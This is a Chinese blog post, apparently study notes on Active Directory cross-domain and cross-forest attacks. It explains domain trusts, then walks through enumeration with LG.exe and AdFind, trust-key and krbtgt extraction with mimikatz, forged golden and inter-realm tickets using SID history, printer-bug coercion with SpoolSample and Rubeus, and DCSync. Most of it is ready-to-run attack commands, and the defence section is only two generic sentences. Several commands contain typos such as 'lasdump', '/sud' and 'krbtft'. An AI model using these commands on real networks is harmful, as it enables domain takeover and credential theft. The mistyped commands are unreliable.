跨域攻击分析及防御
跨域攻击方法
常见方法如下:
- 常规渗透方法(例如利用Web漏洞跨域获取权限)
- 利用已知域散列值进行哈希传递攻击或票据传递攻击(例如域控制器本地管理员密码可能相同)
- 利用域信任关系进行跨域攻击
利用域信任关系的跨域攻击分析
域信任的作用是解决多域环境中的跨域资源共享问题。
域坏境不会无条件地接收来自其它域的凭证,指挥接收来自受信任的域的凭证。在默认情况下,特定Windows域中的所有用户都可以通过该域中的资源进行身份验证。通过这种方式,域可以为其用户提供对该域中所有资源的安全访问机制。如果用户想要访问当前域边界以外的资源,需要使用域信任。
域信任作为域的一种机制,允许另一个域的用户在通过身份验证后访问本域中的资源。同时,域信任利用DNS服务器定位两个不同子域的域控,如果两个域中的域控都无法找到另一个域,也就不存在通过域信任关系进行跨域资源共享了。
域信任关系简介
域信任关系分为单向和双向两种。
- 单向信任是指在两个域之间创建单向的信任路径,即在一个方向上是信任流,在另一个方向上是访问流。在受信任域和信任域之间的单向信任中,受信任域内的用户可以访问信任域内的资源,但信任域内的用户无法访问受信任域内的资源。也就是说,若A域信任B域,那么B域内受信任的主体可以访问A域内信任B域的资源。
- 双向信任是指两个单向信任的组合,信任域和受信任域彼此信任,在两个方向上都有信任流和访问流。这意味着,可以从两个方向在两个域之间传递身份验证请求。AD中的所有域信任关系都是双向可传递的。在创建子域时,会在新的子域和父域之间自动创建双向可传递信任关系,从下级域发出的身份验证请求可以通过其父域向上流向信任域。
域信任关系也可以分为内部信任和外部信任两种:
- 在默认情况下,使用活动目录安装向导将新域添加到域树或林根域中,会自动创建双向可传递信任。在现有林中创建域树时,将建立新的树根信任,当前域树中的两个或多个域之间的信任关系称为内部信任。这种信任关系是可传递的。例如,有三个子域BA、CA、DA,BA域信任CA域,CA域信任DA域,则BA域也信任DA域。
- 外部信任是指两个不同林的域的信任关系。外部信任是不可传递的。但是,林信任关系可能是不传递的,也可能是可传递的,这取决于所使用的林间信任关系的类型。林信任关系只能在位于不同林中的域之间创建。
早期域中,域信任关系仅存在两个域中,也就是说,域信任关系不仅是不可传递的,而且是单向的。但是从Win Server 2003开始,域信任变为双向,且可传递。在Windows操作系统中,只有Doman Admins组中的用户可以管理域信任关系。
获取域信息
在域中,Enterprise Admins组(仅出现在林的根域中)的成员具有对目录林中所有域的完全控制权限。在默认情况下,该组包含林中所有域控制器上具有Administrators权限的成员。
这里需要用到LG.exe工具,下载地址:LG (joeware.net)
访问不到从我这下载好了:LG.exe
先给出用法好了,找到工具再补上:
枚举lab域中的用户组:
1 | lg.exe lab\. |
枚举远程机器的本地组用户:
1 | lg.exe \\dc |
如果建立了信任关系且当前权限被另一域信任,使用:
1 | lg.exe \\dc -lu |
可以看到另一域的情况。
获取远程系统中全部用户的SID:
1 | lg \\dc -lu -sidsout |
获取指定组中所有成员的SID:
1 | lg \\dc\administrators -sidsout |
利用域信任密钥获取目标域的权限
假设环境如下:
- 父域的DC:dc.test.com(Win Server 2008 R2)
- 子域的DC:subdc.test.com(Win Server 2012 R2)
- 子域内的计算机:pc.sub.test.com(Win 7)
- 子域内的普通用户:sub\test
在subdc.test.com中使用mimikatz获取需要的信息:
1 | mimikatz.exe privilege::debug "lsadump::lsa /patch /user:test$" "lasdump::trust /patch" exit |
这可以获取到当前机器的域的SID、目标域的SID和信任密钥(NTLM和RC4_HMAC_NT)。
随后使用mimikatz创建信任票据:
1 | mimikatz "kerberos::golden /domain:sub.test.com /sud:当前域的SID /sids:目标域的SID-XXX /rc4:RC4_HMAC_NT /user:伪造用户名 /service:krbtgt /target:test.com /ticket:test.kirbi" exit |
接下来使用test.kirbi的信任票据获取目标域中目标服务的TGS并保存到文件中。
1 | Asktgs test.kirbi CIFS/DC.test.com |
注入TGS到内存:
1 | Kirbikator lsa CIFS.DC.test.com.kirbi |
最后应该就可以访问目标服务了:
1 | dir \\dc.test.com\c$ |
利用krbtgt散列值获取目标域的权限
使用mimikatz可以在构建黄金票据时设置sidHistory,因此如果攻击者获得了林内任意域的krbtgt散列值,就可以利用sidHistory获得该林的完整权限。
首先可以在pc.sub.test.com上使用普通域用户权限获取当前域和目标域的SID,这里可以使用PowerView或者:
1 | wmic useraccount get name,sid |
在域控上使用mimikatz获取krbtgt散列值有两种方法:
1 | mimikatz.exe privilege::debug "lsadump::lsa /patch /user:krbtgt" sekurlsa::krbtgt exit |
或:
1 | sekurlsa::krbtgt |
书上说这是两种方式???
然后在子域计算机上普通用户权限构造并注入黄金票据:
1 | mimikatz "Kerberos::golden /user:Administrator /domain:sub.test.com /sid:S-1-5-21-760703389-4049654021-3164156691 /sids:S-1-5-21-1768352640-692844612-1315714220-519 /krbtgt:7ca9fc3b5aa4776bfc2964b36f5 /ptt" exit |
上面的参数说明:
- /user 指定用户名
- /domain 指定当前域名
- /sid 当前域的SID
- /sids 目标域的SID
- /krbtgt 指定krbtgt的散列值
- ptt表示将票据注入内存
然后使用dir访问:
1 | dir \\dc.test.com\C$ |
外部信任和林信任
假设林信任环境如下:
- 当前林的域控:dc.a.com(Win Server 2012 R2)
- 目标林的域控:bdc.b.com(Win Server 2012 R2)
- 当前域的域控:adc1.a.com(Win Server 2012 R2)
- 目标域的域控:bdc1.b.com(Win Server 2012 R2)
外部信任环境的信任关系:
利用信任关系获取信任域的信息
因为外部信任和林信任中存在SID过滤机制,所以无法利用SID History获取权限。
ADFind:Download AdFind 1.57.00 (softpedia.com)
因此使用adfind工具获取信任域的完整信息,下面以获取Administrator用户的详细信息为例:
1 | adfind -h bdc1.b.com -sc u:Administrator |
通过对比目标域和当前域的用户列表,找出同时加入者两个有域的用户。
通过PowerView定于敏感用户
该脚本在PowerSploit中,命令:
1 | Get-DomainForeignGroupMember -Domain B.com |
利用无约束委派和MS-RPRN获取信任林权限
如果攻击者已经获取了域林中某个域控制器的权限,或者配置了无约束委派的任何服务器的权限,就可以使用MS-RPRN的RpcRemoteFindFIrstPrinterChangeNotification(Ex)方法,使信任林的域控制器向已被控制的服务器发送身份认证请求,利用捕获的票据获取信任林内任意用户的散列值。
首先在dc.a.com上使用rebeus工具监控身份认证请求。
该工具项目地址:GhostPack/Rubeus: Trying to tame the three-headed dog. (github.com)
1 | Rubeus.exe monitor /interval:5 /filteruser:BDC$ |
其中interval参数设置监控的时间间隔单位为秒,filteruser用于指定关注用户。
开启监听后,在命令行环境使用SpoolSample工具让域控bcd.b.com向dc.a.com发送身份认证请求:
1 | SpoolSample.exe bdc.b.com dc.a.com |
发送后,在Rubeus会捕捉来自bdc.b.com的认证请求,保存其中的TGT数据。
注意需要清除TGT数据文件中多余的换行符,然后输入如下命令载入票据:
1 | Rubeus.exe ptt /ticket:<TGT数据> |
使用mimikatz获取目标域的krbtgt散列值,使用dcsync功能,模拟域控向目标域控发送请求:
1 | mimikatz "lsadump::dcsync /domain:B.com /user:B\krbtft" exit |
随后构造黄金票据并注入内存,获取目标域控的权限:
1 | mimikatz "kerberos::golden /user:Administrator /domain:B.com /sid:S-1-5-21-XXXXXX-XXXXX-XXXXX /rc4:xxxxxxxxxxx /ptt" exit |
最后验证权限:
1 | dir \\bdc.b.com\C$ |
防范跨域攻击
攻击者在获取当前域控的权限后,会检查域控的本地管理员密码是否与其它域的域控本地管理员密码相同,以及两个域之间的网络没有被隔离的情况下是否可以通过哈希传递进行横向攻击等。
在日常网络维护中,需要养成良好的安全习惯,才能有效地防范跨域攻击。
- 本文标题:内网之跨域攻击分析及防御总结
- 本文作者:青 叶
- 创建时间:2022-04-23 14:30:13
- 本文链接:p/53758/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!